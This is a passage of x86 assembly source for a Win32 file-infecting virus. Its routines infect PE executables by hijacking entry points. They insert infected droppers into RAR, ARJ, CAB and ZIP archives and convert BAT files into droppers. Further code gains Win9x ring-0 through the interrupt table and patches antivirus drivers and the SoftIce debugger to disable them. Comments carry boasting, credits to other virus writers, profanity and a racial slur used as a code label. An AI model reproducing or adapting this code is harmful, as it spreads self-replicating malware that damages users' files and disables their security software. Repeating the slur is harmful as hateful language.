mov dword ptr [ebp+MapHandle],eax

xor ebx,ebx
push ecx
push ebx
push ebx
push 02h
push eax
apicall MapViewOfFile

or eax,eax
jz UnMap&CloseMap&FileExitInfectPE

mov dword ptr [ebp+MapAddress],eax

mov esi,[eax+3Ch]
add esi,eax

call InfectionCheck
jc Trunc&UnMap&CloseMap&FileExitInfectPE

call PreInfection

and dword ptr [ebp+OldEIP],00h
mov dword ptr [ebp+PE_ofs],edi

; Prepare incurability shit!

pushad

mov eax,[edi.EntrypointRVA]

mov esi,edi
add esi,SizeOfSectTable-SizeOfSectHeader
nigger: add esi,SizeOfSectHeader ; Ptr to section name ;)
mov edx,eax ; Put in EDX the original EIP
sub edx,[esi.VirtualAddress] ; Remove the VirtualAddress
cmp edx,[esi.VirtualSize] ; Is EIP pointing to this sec?
jae nigger ; If not, loop again

or [esi.Characteristics],RWX_attributes ; Put sum attributes

mov eax,[edi.EntrypointRVA] ; Let's do this in a safe way
sub eax,[edi.CodeRVA]
add eax,[esi.PtrToRawData]
add eax,dword ptr [ebp+MapAddress]

xchg esi,eax ; ESI = Ptr to EIP

call incurability ; 'lo Qozah! :)

popad

cmp dword ptr [esi.SectionName],"ler." ; .reloc check... special
jnz ItIsNotReloc ; handling if it is.
cmp word ptr [esi.SectionName+4],"co"
jnz ItIsNotReloc

; Infection when .reloc is the last one - OVERWRITE IT!!!!

push edi ; Build a 6 chars random name
mov edi,esi ; (without counting the dot
call GenerateName ; and the null)
pop edi

and dword ptr [esi.PtrToReloc],00h ; Clear PointerToRelocations
and word ptr [esi.NumOfReloc],00h ; Clear NumberOfRelocations

push dword ptr [esi.PtrToRawData] ; Where copy virus

mov eax,virus_size
mov [esi.VirtualSize],eax ; VirtualSize -> virus size
mov ecx,[edi.FileAlignment] ; ECX = Alignment

cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx

mov [esi.SizeOfRawData],eax ; SizeOfRawData -> aligned
; virus size
mov eax,[esi.VirtualAddress] ; New EIP
xchg eax,[edi.EntrypointRVA] ; Put new EIP and get old one
add dword ptr [ebp+OldEIP],eax ; Save it

mov eax,[esi.SizeOfRawData] ; We must also put this here,
add eax,[esi.VirtualAddress] ; so NT doesn't yell :P
mov [edi.SizeOfImage],eax

pushad

mov eax,[esi.PtrToRawData] ; EDX = Where truncate
add eax,[esi.SizeOfRawData]
mov ecx,[edi.FileAlignment]

xor edx,edx ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx

mov dword ptr [ebp+NewSize],eax ; This is the new size
popad

jmp copy_virus

; Infection when .reloc section is not the last one

ItIsNotReloc:
mov edx,[esi.SizeOfRawData]
mov eax,edx
add edx,[esi.PtrToRawData]

push edx

add eax,[esi.VirtualAddress]
xchg [edi.EntrypointRVA],eax ; Put new EIP
add dword ptr [ebp+OldEIP],eax

mov eax,[esi.SizeOfRawData]
add eax,total_size
mov ecx,[edi.FileAlignment]

cdq ; Align, sucker
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx

mov [esi.SizeOfRawData],eax ; SORD and VS must be equal (!?)
mov [esi.VirtualSize],eax ; ask NT, dude...
xchg eax,edx

mov eax,[esi.SizeOfRawData]
add eax,[esi.VirtualAddress]
mov [edi.SizeOfImage],eax

add edx,[esi.PtrToRawData]

cmp edx,dword ptr [ebp+OriginalSize] ; Check if file size was
jb copy_virus ; bigger before infection

mov dword ptr [ebp+NewSize],edx ; If not, set the new size
copy_virus:
pop edi

lea esi,[ebp+virus_start] ; Copy the virus to the desi-
add edi,dword ptr [ebp+MapAddress] ; red place (depends of inf.
push edi ; kind)
mov ecx,virus_size
rep movsb

pop edi ; Prepare the parameters for
mov esi,edi ; MMXE v1.2
add esi,LIMIT
mov ecx,virus_size-LIMIT
call mmxe ; Build poly layer

; Let's make it work in WinNT and Win2k

push CheckSum
pop ebx
add ebx,12345678h ; EBX = Points to PE CheckSum
PE_ofs = $-4

cmp dword ptr [ebx],00h ; If no CheckSum, no fun :)
jz Trunc&UnMap&CloseMap&FileExitInfectPE

push ebx ; Pointer to CheckSum field
call n4t4s
dd ? ; Where store old CheckSum
n4t4s: push dword ptr [ebp+NewSize]
push dword ptr [ebp+MapAddress]
apicall CheckSumMappedFile

; Ok, we close the file, and play a bit with it

Trunc&UnMap&CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapAddress] ; File should be better
apicall UnmapViewOfFile ; unmapped for trunc it as we
; want to...
push dword ptr [ebp+MapHandle]
apicall CloseHandle

push 00h
push 00h
push dword ptr [ebp+NewSize]
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push dword ptr [ebp+FileHandle]
apicall SetEndOfFile
jmp CloseFileExitInfectPE

UnMap&CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapAddress]
apicall UnmapViewOfFile

CloseMap&FileExitInfectPE:
push dword ptr [ebp+MapHandle]
apicall CloseHandle

CloseFileExitInfectPE:
push dword ptr [ebp+FileHandle]
apicall CloseHandle

ExitInfectPE1:
push 12345678h
OldAttr = $-4
push 12345678h
InfFile = $-4
apicall SetFileAttributesA

ExitInfectPE:
ret

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Archive & BAT infection %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; Here comes the generic code for prepare the infection of several archive
; formats. Well, this part simply creates a dropper infected by the virus,
; and puts it into some temporally allocated memory, fills some variables
; used later by the virus, and calls the apropiated routine depending of the
; extension of the file :)
;
; Thanx again to Int13h, Prizzy and StarZer0.

InfectArchive:
call ReleaseDropper

lea edi,[ebp+TemporalFile]

xor eax,eax ; Open file for R/W
push eax
push eax
push 03h
push eax
inc eax
push eax
push 0C0000000h
push edi
apicall CreateFileA

inc eax
jz ExitInfectArchive
dec eax

mov dword ptr [ebp+FileHandle],eax ; Save handle of opened file

push dword ptr [ebp+DropperSize]
push 00h
apicall GlobalAlloc

mov dword ptr [ebp+GlobalAllocHnd2],eax

or eax,eax
jz ExitInfectArchive

push 00h
lea ebx,[ebp+NumBytesRead]
push ebx
push dword ptr [ebp+DropperSize]
push eax
push dword ptr [ebp+FileHandle]
apicall ReadFile

push dword ptr [ebp+FileHandle]
apicall CloseHandle

lea edi,[ebp.WFD_szFileName]

push 80h
push edi
apicall SetFileAttributesA ; Wipe its attributes

xor eax,eax ; Open file for R/W
push eax
push eax
push 03h
push eax
inc eax
push eax
push 0C0000000h
push edi
apicall CreateFileA

inc eax
jz ExitInfectArchive
dec eax

mov dword ptr [ebp+FileHandle],eax ; Save handle of opened file

mov ecx,12345678h
extension = $-4
not ecx

cmp ecx,not "rar."
jz InfectRAR
cmp ecx,not "jra."
jz InfectARJ
cmp ecx,not "bac."
jz InfectCAB
cmp ecx,not "piz."
jz InfectZIP
cmp ecx,not "tab."
jz InfectBAT

jmp ExitInfectArchive

; Û RAR INFECTION Û

InfectRAR:
push 00h ; See if it was previously
push 00h ; infected...
mov eax,dword ptr [ebp+WFD_nFileSizeLow]
sub eax,dword ptr [ebp+DropperSize]
sub eax,sRARHeaderSize
push eax
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

inc eax
jz LetsInfectRAR
dec eax

push 00h
lea ebx,[ebp+NumBytesRead]
push ebx
push 50d
lea ebx,[ebp+ArchiveBuffer]
push ebx
push dword ptr [ebp+FileHandle]
apicall ReadFile

or eax,eax
jz LetsInfectRAR

cmp word ptr [ebp+ArchiveBuffer+14h],arc_mark
jz ExitInfectArchive

LetsInfectRAR:
lea edi,[ebp+RARName]
call GenerateName

mov edi,dword ptr [ebp+DropperSize]
mov dword ptr [ebp+RARCompressed],edi
mov dword ptr [ebp+RAROriginal],edi
mov esi,dword ptr [ebp+GlobalAllocHnd2]
call CRC32

mov dword ptr [ebp+RARCrc32],eax

lea esi,[ebp+RARHeader+2]
push sRARHeaderSize-2
pop edi
call CRC32

mov word ptr [ebp+RARHeaderCRC],ax

push 02h
push 00h
push 00h
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push 00h
lea ebx,[ebp+iobytes]
push ebx
push sRARHeaderSize
lea ebx,[ebp+RARHeader]
push ebx
push dword ptr [ebp+FileHandle]
apicall WriteFile

push 00h
lea ebx,[ebp+iobytes]
push ebx
push dword ptr [ebp+DropperSize]
push dword ptr [ebp+GlobalAllocHnd2]
push dword ptr [ebp+FileHandle]
apicall WriteFile

jmp ExitInfectArchive

; Û ARJ INFECTION Û

InfectARJ:
push 00h ; Let's see if it was infected
push 00h
mov eax,dword ptr [ebp+WFD_nFileSizeLow]
sub eax,dword ptr [ebp+DropperSize]
sub eax,sARJTotalSize+4
push eax
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

inc eax
jz TryToInfectARJ
dec eax

push 00h
lea ebx,[ebp+NumBytesRead]
push ebx
push 50d
lea ebx,[ebp+ArchiveBuffer]
push ebx
push dword ptr [ebp+FileHandle]
apicall ReadFile

or eax,eax
jz TryToInfectARJ

cmp word ptr [ebp+ArchiveBuffer],0EA60h
jnz ExitInfectArchive

cmp word ptr [ebp+ArchiveBuffer+0Ch],arc_mark
jz ExitInfectArchive

; Let's fill properly ARJ fields :)

TryToInfectARJ:
lea edi,[ebp+ARJFilename]
call GenerateName

push 02h
push 00h
push 00h
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

xchg ecx,edx
mov edx,eax
sub edx,4
sbb ecx,1
inc ecx

push 00h
push 00h
push edx
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

mov edi,dword ptr [ebp+DropperSize]
mov dword ptr [ebp+ARJCompress],edi
mov dword ptr [ebp+ARJOriginal],edi
mov esi,dword ptr [ebp+GlobalAllocHnd2]
call CRC32
mov dword ptr [ebp+ARJCRC32],eax

push 00h
lea ebx,[ebp+iobytes]
push ebx
push sARJHeader
lea ebx,[ebp+ARJHeader]
push ebx
push dword ptr [ebp+FileHandle]
apicall WriteFile

lea esi,[ebp+ARJHSmsize]
mov edi,sARJCRC32Size
call CRC32

mov dword ptr [ebp+ARJHeaderCRC],eax

push 00h
lea ebx,[ebp+iobytes]
push ebx
push sARJSecondSide
lea ebx,[ebp+ARJSecondSide]
push ebx
push dword ptr [ebp+FileHandle]
apicall WriteFile

push 00h
lea ebx,[ebp+iobytes]
push ebx
push dword ptr [ebp+DropperSize]
push dword ptr [ebp+GlobalAllocHnd2]
push dword ptr [ebp+FileHandle]
apicall WriteFile

push 00h
lea ebx,[ebp+iobytes]
push ebx
push 04h
call ovahit
db 60h,0EAh,00h,00h ; Close it :)
ovahit: push dword ptr [ebp+FileHandle]
apicall WriteFile
jmp ExitInfectArchive

; This routine was translated from the unreadable Prizzy's code :)

; Û CAB INFECTION Û

InfectCAB:
push 00h ; Get the size of the CAB file
push dword ptr [ebp+FileHandle]
apicall GetFileSize
mov dword ptr [ebp+FS_CAB],eax

mov eax,dword ptr [ebp+DropperSize]
add eax,(CABCompr_data-CABdirectory_start)
mov dword ptr [ebp+DFS_CAB],eax

add eax,50000 ; bugfix (!)
push eax
push 00h
apicall GlobalAlloc

mov dword ptr [ebp+GA_CAB],eax

mov eax,10000h
mov dword ptr [ebp+FHS_CAB],eax ; If the file is bigger than
cmp dword ptr [ebp+FS_CAB],eax ; 65535 bytes, we only read
ja ReadCABinet ; those 65535 bytes, not the
mov eax,dword ptr [ebp+FS_CAB] ; whole file.
mov dword ptr [ebp+FHS_CAB],eax

ReadCABinet:
mov edi,dword ptr [ebp+GA_CAB]

push 00h
lea ebx,[ebp+NumBytesRead]
push ebx
push dword ptr [ebp+FHS_CAB]
push edi
push dword ptr [ebp+FileHandle]
apicall ReadFile

cmp dword ptr [edi],"FCSM" ; Check if it's a CAB :)
jnz ErrorCAB

cmp word ptr [edi+18h],0103h ; Check for version
jnz ErrorCAB

cmp word ptr [edi+22h],00h ; Check for volume
jnz ErrorCAB

mov eax,dword ptr [ebp+DropperSize] ; Oh yeah :)
mov dword ptr [ebp+CABUnCompSize],eax
mov word ptr [ebp+CABUnCompr],ax
mov word ptr [ebp+CABCompr],ax

pushad ; Generate a random 8 bytes
push 08h ; name for the executable
pop ecx ; with the virus :)
lea edi,[ebp+CABFileName]
call GenNameX
popad

movzx esi,word ptr [edi+10h]
add esi,dword ptr [ebp+GA_CAB] ; ESI points to file_start part

cmp word ptr [esi+0Ch],arc_mark ; Check if we've already
jz ErrorCAB ; infected it

mov word ptr [esi+0Ch],arc_mark ; Mark as infected so

push esi
movzx ebx,word ptr [edi+1Ah]
modifyCAB:
or ebx,ebx
jz SC0
sub esi,8
add dword ptr [esi],25h
dec ebx
jmp modifyCAB
SC0: pop esi

push edi
mov edi,esi
scasd ; add edi,8
scasd
mov ecx,dword ptr [ebp+GA_CAB]
add ecx,dword ptr [ebp+FHS_CAB]
sub ecx,esi
call __movsd_back
pop edi
lodsd ; add esi,4
mov dword ptr [ebp+FLD_CAB],esi

movzx ebx,word ptr [edi+1Ch]
push ebx
call random
xor edx,edx
mov ecx,ebx
div ecx
inc edx
push edx
lodsd ; add esi,8
lodsd

push edi
mov edi,esi
SearchCAB:
or edx,edx
jz SC1
add edi,10h

xor ecx,ecx
dec ecx
xor al,al
repnz scasb

dec edx
jmp SearchCAB

SC1: mov esi,edi
pop edi

mov dx,[edi+1Ah]

     push    edi 
mov edi,esi
add edi,(CABentry-CABfile_start)
mov ecx,dword ptr [ebp+FHS_CAB]
add ecx,dword ptr [ebp+GA_CAB]
sub ecx,esi
call __movsd_back

lodsd ; add esi,4

mov edi,esi
lea esi,[ebp+CABfile_start]

mov word ptr [esi+08h],dx
push (CABentry-CABfile_start)
pop ecx
rep movsb

mov esi,edi
pop edi
pop edx
pop ebx

sub ebx,edx
push edi
mov edi,esi
SearchCAB2:
or ebx,ebx
jz SC2
add edi,10h

xor ecx,ecx
dec ecx

xor al,al
repnz scasb
dec ebx
jmp SearchCAB2

SC2: mov esi,edi
pop edi

inc word ptr [edi+1Ah]
inc word ptr [edi+1Ch]
add dword ptr [edi+08h],12345678h
DFS_CAB = $-4
add dword ptr [edi+10h],08h

sub esi,dword ptr [ebp+GA_CAB]

mov ecx,dword ptr [ebp+FS_CAB]
sub ecx,esi
add ecx,dword ptr [ebp+DropperSize]
add ecx,1000h ; For security (!)

push ecx
push 00h
apicall GlobalAlloc

mov dword ptr [ebp+GA2_CAB],eax

mov edi,dword ptr [ebp+FLD_CAB]
mov eax,dword ptr [ebp+FS_CAB]
add eax,(CABentry-CABdirectory_start)
mov [edi],eax
mov word ptr [edi+04h],01h
mov word ptr [edi+06h],00h

; Aprendiendo a luchaaaaaaaaar!!!!

push 00h
push 00h
mov eax,esi
sub eax,(CABentry-CABdirectory_start)
push eax
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push 00h
lea ebx,[ebp+iobytes]
push ebx
mov eax,dword ptr [ebp+FS_CAB]
sub eax,esi
add eax,(CABentry-CABdirectory_start)
push eax
push dword ptr [ebp+GA2_CAB]
push dword ptr [ebp+FileHandle]
apicall ReadFile

push esi
mov edi,dword ptr [ebp+GA2_CAB]
add edi,dword ptr [ebp+FS_CAB]
sub edi,esi
add edi,(CABentry-CABdirectory_start)

lea esi,[ebp+CABentry]
push (CABCompr_data-CABentry)
pop ecx
rep movsb

mov esi,dword ptr [ebp+GlobalAllocHnd2]
mov ecx,dword ptr [ebp+DropperSize]
rep movsb
pop esi

push 00h
push 00h
push 00h
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push 00h
lea ebx,[ebp+iobytes]
push ebx
push esi
push dword ptr [ebp+GA_CAB]
push dword ptr [ebp+FileHandle]
apicall WriteFile

push 00h
push 00h
push esi
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push 00h
lea ebx,[ebp+iobytes]
push ebx
mov eax,dword ptr [ebp+FS_CAB]
sub eax,esi
add eax,CABCompr_data-CABdirectory_start
add eax,dword ptr [ebp+DropperSize]
push eax
push dword ptr [ebp+GA2_CAB]
push dword ptr [ebp+FileHandle]
apicall WriteFile

push 12345678h
GA2_CAB = $-4
apicall GlobalFree

ErrorCAB:
push 12345678h
GA_CAB = $-4
apicall GlobalFree
jmp ExitInfectArchive

; Û ZIP INFECTION Û

InfectZIP:
push 00h ; Get the size of the ZIP file
push dword ptr [ebp+FileHandle]
apicall GetFileSize
mov dword ptr [ebp+FS_ZIP],eax

add eax,dword ptr [ebp+DropperSize]
add eax,1Eh+9+2Eh+9

push eax ; Allocate lotsa mem!
push 00h
apicall GlobalAlloc
or eax,eax
jz ExitInfectArchive

mov dword ptr [ebp+GA_ZIP],eax

push 00h
lea ebx,[ebp+NumBytesRead]
push ebx
push 12345678h
FS_ZIP = $-4
push dword ptr [ebp+GA_ZIP]
push dword ptr [ebp+FileHandle]
apicall ReadFile

mov edi,dword ptr [ebp+GA_ZIP]
cmp word ptr [edi],"KP" ; Look for mark
jnz ExitInfZIP

cmp word ptr [edi+0Ah],arc_mark
jz ExitInfZIP

mov word ptr [edi+0Ah],arc_mark ; Mark it.

push edi
push edi
add edi,dword ptr [ebp+FS_ZIP]
push edi
de0: dec edi
cmp dword ptr [edi],06054B50h ; Get EndOfCentral
jnz de0

movzx ecx,word ptr [edi+14h]
add ecx,16h
mov esi,edi
add esi,ecx

pop edi
add edi,1Eh+9+2Eh+9
add edi,dword ptr [ebp+DropperSize]

std
inc ecx
repz movsb
pop esi

inc edi

add esi,dword ptr [edi+10h]
push esi
mov ecx,dword ptr [edi+0Ch]
add esi,ecx

sub edi,2Eh+9
push edi
inc ecx
repz movsb
cld
inc edi
inc esi

mov dword ptr [ebp+ND_ZIP],edi
pop edi

push esi
push edi
push 2Eh+9
pop ecx
repz movsb

pushad ; Get CRC32 of the dropper
mov edi,dword ptr [ebp+DropperSize]
mov esi,dword ptr [ebp+GlobalAllocHnd2]
call CRC32
mov dword ptr [ebp+CRC32_ZIP],eax
popad

pop esi
pop ecx
sub ecx,dword ptr [ebp+GA_ZIP]

and dword ptr [esi+08h],00h
mov dword ptr [esi+10h],12345678h
CRC32_ZIP = $-4

mov eax,dword ptr [ebp+DropperSize]
mov dword ptr [esi+14h],eax
mov dword ptr [esi+18h],eax

mov dword ptr [esi+2Ah],ecx

mov word ptr [esi+01Ch],09h
and dword ptr [esi+1Eh],00h

pushad
lea edi,[esi+2Eh] ; Generate a random 4 char name
push 04h
pop ecx
call GenNameX
popad
push dword ptr [esi+2Eh]

mov dword ptr [esi+2Eh+4],"EXE."
mov byte ptr [esi+2Eh+8],00h

mov ecx,12345678h
ND_ZIP = $-4
sub ecx,dword ptr [ebp+GA_ZIP]

mov dword ptr [esi+2Eh+9+010h],ecx
add dword ptr [esi+2Eh+9+0Ch],2Eh+9
inc word ptr [esi+2Eh+9+08h]
inc word ptr [esi+2Eh+9+0Ah]

pop eax ; EAX = Name of dropper

pop edi
pop esi

push 1Eh+9
pop ecx
repz movsb

mov dword ptr [edi-9],eax
mov dword ptr [edi-5],"EXE."
mov byte ptr [edi-1],0

mov dword ptr [edi-9-1Eh+06h],80h
mov dword ptr [edi-9-1Eh+1Ah],09h

mov eax,dword ptr [ebp+CRC32_ZIP]
mov dword ptr [edi-9-1Eh+0Eh],eax

mov ecx,dword ptr [ebp+DropperSize]
mov dword ptr [edi-9-1Eh+12h],ecx
mov dword ptr [edi-9-1Eh+16h],ecx
mov dword ptr [edi-9-1Eh],04034B50h
mov word ptr [edi-9-1Eh+04h],10d

mov esi,dword ptr [ebp+GlobalAllocHnd2]
mov ecx,dword ptr [ebp+DropperSize]
rep movsb

; ECX = 0

push ecx ; Whatta silly bug i had :)
push ecx ; Thanx S0!
push ecx
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

mov ecx,dword ptr [ebp+DropperSize]
add ecx,dword ptr [ebp+FS_ZIP]
add ecx,1Eh+9+2Eh+9h

push 00h
lea ebx,[ebp+iobytes]
push ebx
push ecx
push dword ptr [ebp+GA_ZIP]
push dword ptr [ebp+FileHandle]
apicall WriteFile

ExitInfZIP:
push 12345678h
GA_ZIP = $-4
apicall GlobalFree

jmp ExitInfectArchive

; Global end of all archive infections :)

ExitInfectArchive:
push dword ptr [ebp+GlobalAllocHnd2]
apicall GlobalFree

push dword ptr [ebp+FileHandle]
apicall CloseHandle

call KillDropper
ret

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % BAT Infection (see Win32.Rhapsody) %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; This routine will infect the given BAT file. If you want to know how the
; fuck it works, just take a look to my Win32.Rhapsody. This is the enhaced
; version of that code, much more readable. The infected BAT files run slow
; as the fucking hell... they're about 100K :)

InfectBAT:

lea eax,[ebp+ExitInfectArchive] ; For correct w0rk :)
push eax

; We don't want to infect too suspicious files (ie AUTOEXEC.BAT)

BAT_switch:
db 90h

xor esi,esi
push esi
push esi
push esi
push 04h ; map attibutes
push esi
push dword ptr [ebp+FileHandle] ; push handle
apicall CreateFileMappingA
push eax

push esi
push esi
push esi
push 02h
push eax
apicall MapViewOfFile
push eax

mov edi,dword ptr [eax]

apicall UnmapViewOfFile
apicall CloseHandle

cmp edi,12345678h ; Check if it was already
org $-4 ; infected ;P
db ":P",13,10
jnz ReallyInfectBAT

ret

ReallyInfectBAT:
push 00h
push dword ptr [ebp+FileHandle]
apicall GetFileSize
mov dword ptr [ebp+FS_BAT],eax

push eax

push eax
push 00h
apicall GlobalAlloc
mov dword ptr [ebp+GA_BAT],eax

xor ebx,ebx ; EBX = 0
push ebx
push eax ; push size
push ebx
push 04h
push ebx
push dword ptr [ebp+FileHandle] ; push handle
apicall CreateFileMappingA

pop ecx ; ECX = Size to map

add ecx,dword ptr [ebp+DropperSize]
shl ecx,2 ; *4 (it's enough)

or eax,eax
jz ExitInfectArchive

mov dword ptr [ebp+MH_BAT],eax

xor ebx,ebx
push ecx
push ebx
push ebx
push 02h
push eax
apicall MapViewOfFile

or eax,eax
jz CloseMapOfBAT

mov dword ptr [ebp+MA_BAT],eax

pushad
xchg esi,eax ; Save old contents of the
mov edi,dword ptr [ebp+GA_BAT] ; BAT file to the allocated
mov ecx,dword ptr [ebp+FS_BAT] ; memory :)
rep movsb
popad

lea esi,[ebp+BAT_part1] ; Put the first part of new BAT
xchg edi,eax
push sBAT_part1
pop ecx
rep movsb

mov esi,dword ptr [ebp+GlobalAllocHnd2]
mov ecx,dword ptr [ebp+DropperSize]
shr ecx,04h ; /10

pushad
shl ecx,04h ; Round up it :)
xchg ecx,eax
lea edi,[ebp+src_bytes]
call HexWrite16
popad

xor edx,edx
inc dh ; EDX = 100h

; Here we construct the debug script code

sixteen_bytes_written_loop:
push ecx
mov ax," E" ; Write E
stosw
mov eax,edx ; E xxxx
call HexWrite16

push 10h
pop ecx
write_row:
mov al," " ; Write space
stosb

lodsb
call HexWrite8

loop write_row

mov ax,0A0Dh ; Write CR/LF
stosw

add edx,10h ; Gimme mo' :)
pop ecx
loop sixteen_bytes_written_loop

lea esi,[ebp+BAT_part2] ; Write the second part of the
push sBAT_part2 ; new BAT code
pop ecx
rep movsb

mov esi,dword ptr [ebp+GA_BAT] ; Write original BAT file
mov ecx,12345678h
FS_BAT = $-4
rep movsb

xchg edx,edi
sub edx,dword ptr [ebp+MA_BAT]

pushad

push dword ptr [ebp+MA_BAT] ; Unmap BAT file
apicall UnmapViewOfFile

push dword ptr [ebp+MH_BAT] ; Close mapping handle
apicall CloseHandle

popad
; Truncate BAT file
push 00h
push 00h
push edx
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push dword ptr [ebp+FileHandle]
apicall SetEndOfFile

push dword ptr [ebp+GA_BAT] ; Free used temporal memory
apicall GlobalFree
ret

UnmapBAT&Trunc:
call UnmapBAT
push 00h
push 00h
push dword ptr [ebp+FS_BAT]
push dword ptr [ebp+FileHandle]
apicall SetFilePointer

push dword ptr [ebp+FileHandle]
apicall SetEndOfFile
ret

UnmapBAT:
push 12345678h ; For emergency only ;)
MA_BAT = $-4
apicall UnmapViewOfFile

CloseMapOfBAT:
push 12345678h
MH_BAT = $-4
apicall CloseHandle

push 12345678h
GA_BAT = $-4
apicall GlobalFree
ret

db 066h

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Get Ring-0 priviledge by modifying in the IDT the INT 3 descriptor %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

w9x_specific:
push edx ; Well, this code hasn't
sidt fword ptr [esp-2] ; anything special :)
pop edx

add edx,(interrupt*8)+4

mov ebx,dword ptr [edx]
mov bx,word ptr [edx-4]

lea edi,[ebp+InterruptHandler]

mov word ptr [edx-4],di
shr edi,10h
mov word ptr [edx+2],di

int interrupt

mov word ptr [edx-4],bx
shr ebx,10h
mov word ptr [edx+2],bx
ret

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % Win9x Ring-0 code %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

; Here we:
; - Clear hardware breakpoints (DR? registers)
; - Disable in memory some VXD av (AVPGUARD, AVP95, SPIDER, GK95)
; - Disable interrupts used by SoftIce

InterruptHandler:
pushad

if debug
nop
else

xor eax,eax
mov dr0,eax ; We don't like breakpoints,
mov dr1,eax ; do we? ;)
mov dr2,eax
mov dr3,eax

call killavxd
call FuckSoftIce

endif

popad
iretd

; This code was taken from the awesome Win98.Z0MBiE-8, by Z0MBiE

killavxd:
pushad
@@fx1: VxDCall VXDLDR_GetDeviceList

__kavxd_scanvxd:
mov ebx,[eax+5]

cmp ebx,0C0000000h
jb __kavxd_continue

lea ecx,[ebx+0Ch] ; Name_0

mov edx,[ecx]
neg edx

mov cl,1
cmp edx,-'DIPS' ; SPIDER
jz __kavxd_patch

mov cl,2
cmp edx,-'9PVA' ; AVP95
jz __kavxd_patch

mov cl,4
cmp edx,-'GPVA' ; AVPGUARD
jz __kavxd_patch

mov cl,8
cmp edx,-'59KG' ; GK95
jz __kavxd_patch

__kavxd_continue:
mov eax,[eax]
or eax,eax
jnz __kavxd_scanvxd
popad
ret

__kavxd_patch:
pushad

call GetDeltaOffset
db 0FFh
lea ebp,[ebp+kavxd_kill_moveax]

mov esi,0000D500h ; R0_OPENCREATFILE
call __kavxd_fuck
mov esi,0000D501h ; R0_OPENCREAT_IN_CONTEXT
call __kavxd_fuck

cmp cl,4 ; avpguard
jne __skip1

call GetDeltaOffset
db 067h
lea ebp,[ebp+kavxd_kill_cd20]

mov esi,002A001Ah ; VWIN32_SysErrorBox
call __kavxd_fuck
mov esi,002A000Eh ; VWIN32_SetWin32Event
call __kavxd_fuck


call GetDeltaOffset
db 0BBh
lea ebp,[ebp+kavxd_kill_badcall]

mov eax,002Ah ; VMM
xor edi,edi
@@fx2: VxDCall VMM_Get_DDB
mov edx,[ecx+30h] ; DDB_Service_Table_Ptr

lea esi,[edx+4*001Ah] ; VWIN32_SysErrorBox
call __kavxd_fuck
lea esi,[edx+4*000Eh] ; VWIN32_SetWin32Event
call __kavxd_fuck

__skip1:
popad
jmp __kavxd_continue

__kavxd_fuck:
pushad

mov edi,[ebx+18h] ; Control_Proc_0

__kavxd_1:
lea ecx,[edi+4] ; check presence for
test ecx,00000FFFh ; each new page encountered
jnz __kavxd_2

pushad
sub esp,28
mov esi,esp

push 28
push esi ; esi = MEMORY_BASIC_INFO
push ecx
@@fx3: VxDCall VMM_PageQuery

test dword ptr [esi+10h],1000h ; mbi_state & MEM_COMMIT

lea esp,[esp+4*3+28] ; Fix ESP

popad
jnz __kavxd_2

popad
ret

__kavxd_2:
inc edi

cmp [edi],esi ; <esi>
jne __kavxd_1

call ebp

jmp __kavxd_1

kavxd_kill_moveax:
cmp byte ptr [edi-1],0B8h
jne rt
mov dword ptr [edi],-1 ; R0_xxx <-- 0xFFFFFFFF
ret

kavxd_kill_cd20:
cmp word ptr [edi-2],20CDh
jne rt
kavxd_kill_both:
mov word ptr [edi-2],0B890h ; nop/mov eax, 1
mov dword ptr [edi],1
ret

kavxd_kill_badcall:
cmp word ptr [edi-2],15FFh
je kavxd_kill_both
rt:
ret

; This routine was taken from Win9x.Dammit, by Ultras/[MATRiX] - hiya :)

FuckSoftIce:
pushad

push ebx
sidt [esp-2]
pop ebx

mov eax,[ebx+01h*8+6-2] ; int 01h
mov ax,[ebx+01h*8+0]
call fuckint

mov eax,[ebx+03h*8+6-2] ; int 03h
mov ax,[ebx+03h*8+0]
call fuckint

popad
ret

fuckint:
cmp byte ptr [eax],68h ; SoftIce signature
jne __skipfuck
cmp byte ptr [eax+5],0E9h ; SoftIce signature
jne __skipfuck
mov byte ptr [eax],0CFh ; iret
__skipfuck:
ret


; This procedure will fix all the VxDCalls, no more worries about that
; This one is *really* mine :)

VxDFix proc
; input:
; Nothing.
; output:
; Nothing.

lea esi,[ebp+VxD_fix] ; Point to that structure
push n_VxD_fix ; ECX = Number of VxDCalls
pop ecx ; that we have to patch
mov edx,20CDh ; EDX = INT 20h :)
LoopOfFixAllVxDCalls:
lodsd ; Load offset where patch
add eax,ebp ; Fix with delta
mov edi,edx ; Prepare to put the INT 20h
xchg eax,edi ; Things put in the rite place
stosw ; Store the INT 20h
movsd ; Put then the service there
